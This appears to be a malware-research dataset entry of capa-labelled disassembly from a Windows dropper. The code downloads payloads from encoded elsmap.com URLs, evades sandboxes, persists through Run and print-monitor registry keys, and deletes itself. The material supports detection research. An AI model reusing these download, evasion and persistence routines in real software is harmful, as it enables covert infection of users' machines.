joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015c0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x30], 1
mov rax, qword [rsp + 0x50]
lea rcx, str.http:__www.elsmap.com_banner.jpg
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400015f8
inc rax
test dl, dl
jne 0x1400015e5
xor eax, eax
jmp 0x1400015fd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000162e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140001649
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
jmp 0x14000164b
xor eax, eax
add rsp, 0x48
ret

Function at 0x140001650
Capabilities:
Create process on windows
Self delete

Disassembly:
push rdi
sub rsp, 0x410
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x400], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, [rsp + 0xe0]
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
mov edx, 0x208
lea rcx, [rsp + 0x1f0]
call fcn.140001120
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.140002510
add rsp, 0x410
pop rdi
ret

Function at 0x140001740
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x38
mov rax, qword gs:[0x60]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax + 2]
test eax, eax
jmp 0x140001786
add rsp, 0x38
ret
Function at 0x1400017d0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub rsp, 0x108
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 4
jmp 0x140001813
mov dword [rsp + 0x80], 0x40
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rsp + 0x88]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0x2000
jae 0x140001860
mov eax, 1
jmp 0x140001935
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x60]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x70]
imul rax, rcx
mov ecx, dword [rsp + 0x74]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0x64
jae 0x140001933
mov eax, 1
jmp 0x140001935
xor eax, eax
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140002510
add rsp, 0x108
ret

Function at 0x140001a30
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1048
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x1030], rax
lea r8, [rsp + 0x24]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x24]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x64
jae 0x140001a84
mov eax, 1
jmp 0x140001a86
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140002510
add rsp, 0x1048
ret

Function at 0x140001ae0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
dec qword [rsp + 0x28]
inc qword [rsp + 0x28]
mov rax, qword [rsp + 0x28]
cmp byte [rax], 0
jne 0x140001b0b
mov rax, qword [rsp + 0x28]
lea rcx, str.http:__update.microsoft.com
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1c
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140001b51
mov byte [rsp + 0x20], 1
jmp 0x140001b56
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140002510
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x140001b80
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140001bd6
mov eax, 1
jmp 0x140001c54
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
cmp byte [rax + rcx], 0
jne 0x140001be9
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140001c47
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140001c54
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140002510
add rsp, 0x68
ret

Function at 0x140001c70
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlPrintMonitorsPortMonitor
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140001cc6
mov eax, 1
jmp 0x140001d44
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
cmp byte [rax + rcx], 0
jne 0x140001cd9
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140001d37
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140001d44
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140002510
add rsp, 0x68
ret
Function at 0x140001df0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
mov eax, 0x1108
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x10f0], rax
mov dword [rsp + 0x50], 0x1000
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140001e6b
xor eax, eax
jmp 0x140001f30
lea rax, [rsp + 0xa0]
lea rcx, str.VGhlcmUgaXMgbm90aGluZyBoZXJlIExPTA0KR28gY2hlY2sgc29tZXRoaW5nIGVsc2UgOyk
mov rdi, rax
mov rsi, rcx
mov ecx, 0x49
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x40], 0x48
mov dword [rsp + 0x68], 0
mov r9d, dword [rsp + 0x50]
lea r8, [rsp + 0xf0]
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.140001320
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x48], 0xffffffffffffffff
inc qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
cmp byte [rax + rcx], 0
jne 0x140001ecb
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jne 0x140001f20
xor eax, eax
jmp 0x140001f30
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x10f0]
xor rcx, rsp
call fcn.140002510
add rsp, 0x1108
pop rdi
pop rsi
ret
Function at 0x140002080
Capabilities:
Delete file
Download url
Receive data

Disassembly:
mov eax, 0x11c8
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x11b0], rax
lea rax, [0x140004be8]
mov qword [rsp + 0x60], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3N0YXJ0LmpwZw
mov qword [rsp + 0x68], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3BpYzEuanBn
mov qword [rsp + 0x70], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3BpYzIuanBn
mov qword [rsp + 0x78], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3BpYzMuanBn
mov qword [rsp + 0x80], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3BpYzQuanBn
mov qword [rsp + 0x88], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL3BpYzUuanBn
mov qword [rsp + 0x90], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL2Zvb3Rlci5qcGc
mov qword [rsp + 0x98], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL2V4YW0vcnVubWUuYmF0
mov qword [rsp + 0xa0], rax
lea rax, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL2hlYWRlci5qcGc
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x30], 0
jmp 0x140002145
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 9
jge 0x14000220c
movsxd rax, dword [rsp + 0x30]
mov rax, qword [rsp + rax*8 + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
cmp byte [rax + rcx], 0
jne 0x140002168
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + rax*8 + 0x60]
call fcn.140001f50
movsxd rax, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x40]
lea r8, [rsp + 0x1b0]
mov edx, dword [rsp + 0x44]
mov rcx, qword [rsp + rax*8 + 0x60]
call fcn.140001320
lea rcx, [rsp + 0xb0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x48], eax
jmp 0x14000213b
mov rcx, qword [rsp + 0x11b0]
xor rcx, rsp
call fcn.140002510
add rsp, 0x11c8
ret
Function at 0x140002230
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push rsi
push rdi
mov eax, 0x20d8
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x20c0], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140002080
call fcn.140001740
call fcn.1400017d0
test eax, eax
je 0x140002286
call fcn.140001950
test eax, eax
je 0x140002286
call fcn.140001a30
test eax, eax
jb 0x140002286
call fcn.140001790
test eax, eax
jmp 0x1400022ad
mov r9d, 0x10
lea r8, str.ABORT_
lea rdx, str.Sandbox_Detected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140001aa0
call fcn.140001ae0
call fcn.140001d60
mov dword [rsp + 0x34], 0x1000
lea rax, [rsp + 0x58]
lea rcx, str.aHR0cDovL3d3dy5lbHNtYXAuY29tL2Jhbm5lci5qcGc
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2d
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x38], 0x2c
mov r9d, dword [rsp + 0x34]
lea r8, [rsp + 0x10c0]
mov edx, dword [rsp + 0x38]
lea rcx, [rsp + 0x58]
call fcn.140001320
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x3c], 0x1000
lea rax, [rsp + 0x88]
lea rcx, str.QzpcV2luZG93c1xTeXN0ZW0zMlxjb25iYXNlLmRsbA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2d
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x40], 0x2c
mov r9d, dword [rsp + 0x3c]
lea r8, [rsp + 0xc0]
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x88]
call fcn.140001320
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0xc0]
lea rcx, str.Driver
call fcn.140001c70
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x10c0]
call fcn.1400015c0
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x30], 0
jmp 0x140002393
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 5
jge 0x1400023a1
call fcn.140001df0
jmp 0x140002389
call fcn.1400013c0
mov dword [rsp + 0x50], eax
call fcn.1400014c0
mov dword [rsp + 0x54], eax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._C_loader.exe__del__F_loader.exe
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001650
xor eax, eax
mov rcx, qword [rsp + 0x20c0]
xor rcx, rsp
call fcn.140002510
add rsp, 0x20d8
pop rdi
pop rsi
ret
Function at 0x140ec2108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140ec228f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ec2139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ec211f
add dl, dl
jne 0x140ec2146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ec21a6
xor eax, eax
add dl, dl
jne 0x140ec2155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ec225d
add dl, dl
jne 0x140ec2166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ec2173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ec2180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ec218d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ec219a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ec212e
mov eax, 1
add dl, dl
jne 0x140ec21b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ec21c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ec21ab
sub eax, ebx
mov ebx, 1
jne 0x140ec21fc
mov ecx, 1
add dl, dl
jne 0x140ec21de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ec21eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ec21d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ec212e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ec2218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ec2225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ec220d
cmp eax, 0x7d00
jae 0x140ec224b
cmp eax, 0x500
jb 0x140ec2246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ec212e
cmp eax, 0x7f
ja 0x140ec224e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ec212e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ec2282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ec212e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180002740
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test edx, edx
je 0x18000277f
cmp edx, 1
jne 0x18000278a
xor eax, eax
lea r8, [0x1800011d0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add rsp, 0x38
ret

Function at 0x18000938c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1800154f0
sub rsp, rax
mov rax, qword [0x180022008]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18000b37c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800093db
mov rax, rbp
jmp 0x1800094e3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x23480]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18000b70c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x23480]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800094df
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800094df
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18000b70c
test rax, rax
js 0x1800094df
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800094df
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800094d1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800094d1
cmp byte [rcx], 0xd
jne 0x1800094b7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800094c6
cmp byte [rcx + 1], 0xa
jne 0x1800094c6
inc rcx
jmp 0x1800094c6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x222d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180009499
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800094e3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180002dd0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000bf80
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x180023480]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x18000bfde
cmp word [rdx], r12w
jne 0x18000bfde
or byte [rax + r8*8 + 0x38], cl
jmp 0x18000bfe4
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x18000c13f
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x18000c11a
lea r9, [rcx + 2]
cmp ax, r13w
je 0x18000c01d
mov rcx, r9
jmp 0x18000c040
cmp r9, rdx
jae 0x18000c057
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x18000c001
jmp 0x18000c13f
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000c114
cmp dword [rsp + 0x80], edi
je 0x18000c114
mov rdx, r14
lea r11, [0x180023480]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x18000c0ed
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x18000c0c0
mov word [rbx], r12w
jmp 0x18000c13b
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x18000c0c9
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x18000c13b
cmp word [rsp + 0x70], r12w
jne 0x18000c0fa
cmp rbx, rsi
je 0x18000c0ba
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.18000b714
cmp word [rsp + 0x70], r12w
je 0x18000c13f
mov word [rbx], r13w
jmp 0x18000c13b
lea r11, [0x180023480]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x18000c137
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x18000c13f
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000d40c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x18000d43e
call fcn.180009f18
mov dword [rax], 0x16
call fcn.180009dac
jmp 0x18000d55d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18000d55d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x18000d55d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18000d46d
lock or dword [rcx + 0x14], 0x10
jmp 0x18000d55d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18000d481
call fcn.180012864
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.18000b37c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.18000c42c
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x18000d54b
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x18000d516
mov rcx, rsi
call fcn.18000b37c
cmp eax, edi
je 0x18000d501
mov rcx, rsi
call fcn.18000b37c
cmp eax, 0xfffffffe
je 0x18000d501
mov rcx, rsi
call fcn.18000b37c
movsxd rbx, eax
lea r14, [0x180023480]
mov rcx, rsi
sar rbx, 6
call fcn.18000b37c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x18000d508
lea rdx, [0x1800223d0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18000d516
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x18000d53a
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x18000d53a
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x18000d53a
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
